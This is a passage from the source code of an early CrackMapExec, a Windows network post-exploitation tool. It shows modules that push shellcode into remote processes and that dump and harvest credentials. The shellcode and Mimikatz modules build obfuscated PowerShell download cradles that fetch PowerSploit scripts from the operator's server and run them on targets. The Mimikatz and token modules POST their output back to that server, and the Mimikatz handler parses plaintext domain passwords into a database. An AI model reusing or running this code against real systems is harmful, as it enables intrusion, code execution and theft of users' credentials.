os.path.exists(self.shellcode_path): 24 | context.log.error('Invalid path to shellcode!') 25 | exit(1) 26 | 27 | self.procid = None 28 | 29 | if 'PROCID' in module_options.keys(): 30 | self.procid = module_options['PROCID'] 31 | 32 | self.obfs_name = gen_random_string() 33 | 34 | def on_admin_login(self, context, connection): 35 | 36 | payload = """ 37 | IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1'); 38 | $WebClient = New-Object System.Net.WebClient; 39 | [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}'); 40 | Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server, 41 | port=context.server_port, 42 | addr=context.localip, 43 | func_name=self.obfs_name, 44 | shellcode=os.path.basename(self.shellcode_path)) 45 | 46 | if self.procid: 47 | payload += ' -ProcessID {}'.format(self.procid) 48 | 49 | context.log.debug('Payload:{}'.format(payload)) 50 | payload = create_ps_command(payload, force_ps32=True) 51 | connection.execute(payload) 52 | context.log.success('Executed payload') 53 | 54 | def on_request(self, context, request): 55 | if 'Invoke-Shellcode.ps1' == request.path[1:]: 56 | request.send_response(200) 57 | request.end_headers() 58 | 59 | with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1' ,'r') as ps_script: 60 | ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) 61 | request.wfile.write(ps_script) 62 | 63 | elif os.path.basename(self.shellcode_path) == request.path[1:]: 64 | request.send_response(200) 65 | request.end_headers() 66 | 67 | with open(self.shellcode_path, 'rb') as shellcode: 68 | request.wfile.write(shellcode.read()) 69 | 70 | #Target has the shellcode, stop tracking the host 71 | request.stop_tracking_host() 72 | 73 | else: 74 | request.send_response(404) 75 | request.end_headers() -------------------------------------------------------------------------------- /modules/credentials/mimikatz.py: -------------------------------------------------------------------------------- 1 | from core.helpers import create_ps_command, obfs_ps_script, gen_random_string 2 | from datetime import datetime 3 | from StringIO import StringIO 4 | 5 | class CMEModule: 6 | ''' 7 | Executes PowerSploit's Invoke-Mimikatz.ps1 script 8 | Module by @byt3bl33d3r 9 | ''' 10 | 11 | name = 'Mimikatz' 12 | 13 | def options(self, context, module_options): 14 | ''' 15 | COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') 16 | ''' 17 | 18 | self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit' 19 | 20 | if module_options and 'COMMAND' in module_options: 21 | self.mimikatz_command = module_options['COMMAND'] 22 | 23 | #context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command)) 24 | 25 | self.obfs_name = gen_random_string() 26 | 27 | def on_admin_login(self, context, connection): 28 | 29 | payload = ''' 30 | IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); 31 | $creds = Invoke-{func_name} -Command '{command}'; 32 | $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); 33 | $request.Method = 'POST'; 34 | $request.ContentType = 'application/x-www-form-urlencoded'; 35 | $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); 36 | $request.ContentLength = $bytes.Length; 37 | $requestStream = $request.GetRequestStream(); 38 | $requestStream.Write( $bytes, 0, $bytes.Length ); 39 | $requestStream.Close(); 40 | $request.GetResponse();'''.format(server=context.server, 41 | port=context.server_port, 42 | addr=context.localip, 43 | func_name=self.obfs_name, 44 | command=self.mimikatz_command) 45 | 46 | context.log.debug('Payload: {}'.format(payload)) 47 | payload = create_ps_command(payload) 48 | connection.execute(payload) 49 | context.log.success('Executed payload') 50 | 51 | def on_request(self, context, request): 52 | if 'Invoke-Mimikatz.ps1' == request.path[1:]: 53 | request.send_response(200) 54 | request.end_headers() 55 | 56 | with open('data/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1', 'r') as ps_script: 57 | ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) 58 | request.wfile.write(ps_script) 59 | 60 | else: 61 | request.send_response(404) 62 | request.end_headers() 63 | 64 | def on_response(self, context, response): 65 | response.send_response(200) 66 | response.end_headers() 67 | length = int(response.headers.getheader('content-length')) 68 | data = response.rfile.read(length) 69 | 70 | #We've received the response, stop tracking this host 71 | response.stop_tracking_host() 72 | 73 | #No reason to parse for passwords if we didn't run the default command 74 | if 'sekurlsa::logonpasswords' in self.mimikatz_command: 75 | buf = StringIO(data).readlines() 76 | plaintext_creds = [] 77 | 78 | i = 0 79 | while i < len(buf): 80 | if ('Password' in buf[i]) and ('(null)' not in buf[i]): 81 | passw = buf[i].split(':')[1].strip() 82 | domain = buf[i-1].split(':')[1].strip().upper() 83 | user = buf[i-2].split(':')[1].strip().lower() 84 | 85 | #Dont parse machine accounts 86 | if not user[-1:] == '$': 87 | context.db.add_credential('plaintext', domain, user, passw) 88 | plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw)) 89 | 90 | i += 1 91 | 92 | if plaintext_creds: 93 | context.log.success('Found plain text credentials (domain\\user:password)') 94 | for cred in plaintext_creds: 95 | context.log.highlight(cred) 96 | 97 | log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 98 | with open('logs/' + log_name, 'w') as mimikatz_output: 99 | mimikatz_output.write(data) 100 | context.log.info("Saved Mimikatz's output to {}".format(log_name)) -------------------------------------------------------------------------------- /modules/credentials/tokens.py: -------------------------------------------------------------------------------- 1 | from core.helpers import create_ps_command, obfs_ps_script, gen_random_string 2 | from StringIO import StringIO 3 | 4 | class CMEModule: 5 | ''' 6 | Enumerates available tokens using Powersploit's Invoke-TokenManipulation 7 | Module by @byt3bl33d3r 8 | ''' 9 | 10 | name = 'Tokens' 11 | 12 | def options(self, context, module_options): 13 | ''' 14 | ''' 15 | 16 | self.obfs_name = gen_random_string() 17 | 18 | def on_admin_login(self, context, connection): 19 | 20 | payload = ''' 21 | IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); 22 | $creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; 23 | $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); 24 | $request.Method = 'POST'; 25 | $request.ContentType = 'application/x-www-form-urlencoded'; 26 | $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); 27 | $request.ContentLength = $bytes.Length; 28 | $requestStream = $request.GetRequestStream(); 29 | $requestStream.Write( $bytes, 0, $bytes.Length ); 30 | $requestStream.Close(); 31 | $request.GetResponse();'''.format(server=context.server, 32 | port=context.server_port, 33 | addr=context.localip, 34 | func_name=self.obfs_name) 35 | 36 | context.log.debug('Payload: {}'.format(payload)) 37 | payload = create_ps_command(payload) 38 | connection.execute(payload) 39 | context.log.success('Executed payload') 40 | 41 | def on_request(self, context, request): 42 | if 'Invoke-TokenManipulation.ps1' == request.path[1:]: 43 | request.send_response(200) 44 | request.end_headers() 45 | 46 | with open('data/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1', 'r') as ps_script: 47 | ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) 48 | request.wfile.write(ps_script) 49 | 50 | else: 51 | request.send_response(404) 52 | request.end_headers() 53 | 54 | def on_response(self, context, response): 55 | response.send_response(200) 56 | response.end_headers() 57 | length = int(response.headers.getheader('content-length')) 58 | data = response.rfile.read(length) 59 | 60 | #We've received the response, stop tracking this host 61 | response.stop_tracking_host() 62 | 63 | if len(data) > 0: 64 | context.log.success('Enumerated available tokens') 65 | 66 | buf = StringIO(data.strip()).readlines() 67 | for line in buf: 68 | context.log.highlight(line.strip()) 69 | -------------------------------------------------------------------------------- /modules/example_module.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | ''' 3 | Example 4 | Module by @yomama 5 | 6 | ''' 7 | 8 | name = 'Example' 9 | 10 | def options(self, context, args): 11 | '''Required. Module options get parsed here. Additionally, put the modules usage here as well''' 12 | pass 13 | 14 | def on_login(self, context, connection): 15 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection''' 16 | pass 17 | 18 | def on_admin_login(self, context, connection): 19 | '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges''' 20 | pass 21 | 22 | def on_request(self, context, request): 23 | '''Optional. If the payload needs to retrieve additonal files, add this function to the module''' 24 | pass 25 | 26 | def on_response(self, context, response): 27 | '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output''' 28 | pass -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | git+https://github.com/CoreSecurity/impacket 2 | gevent 3 | netaddr 4 | pycrypto 5 | pyasn1 6 | termcolor 7 | colorama 8 | pyOpenSSL -------------------------------------------------------------------------------- /setup/gen-self-signed-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl req -new -x509 -keyout ../data/cme.pem -out ../data/cme.pem -days 365 -nodes -subj "/C=US" 3 | echo -e "\n\n [*] Certificate written to ../data/cme.pem\n" -------------------------------------------------------------------------------- /setup/setup_database.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | 3 | conn = sqlite3.connect('../data/cme.db') 4 | 5 | c = conn.cursor() 6 | 7 | # try to prevent some of the weird sqlite I/O errors 8 | c.execute('PRAGMA journal_mode = OFF') 9 | 10 | c.execute('''CREATE TABLE "hosts" ( 11 | "id" integer PRIMARY KEY, 12 | "ip" text, 13 | "hostname" text, 14 | "domain" test, 15 | "os" text 16 | )''') 17 | 18 | # type = hash, plaintext 19 | c.execute('''CREATE TABLE "credentials" ( 20 | "id" integer PRIMARY KEY, 21 | "credtype" text, 22 | "domain" text, 23 | "username" text, 24 | "password" text 25 | )''') 26 | 27 | # commit the changes and close everything off 28 | conn.commit() 29 | conn.close() 30 | 31 | print "[*] Database setup completed!" --------------------------------------------------------------------------------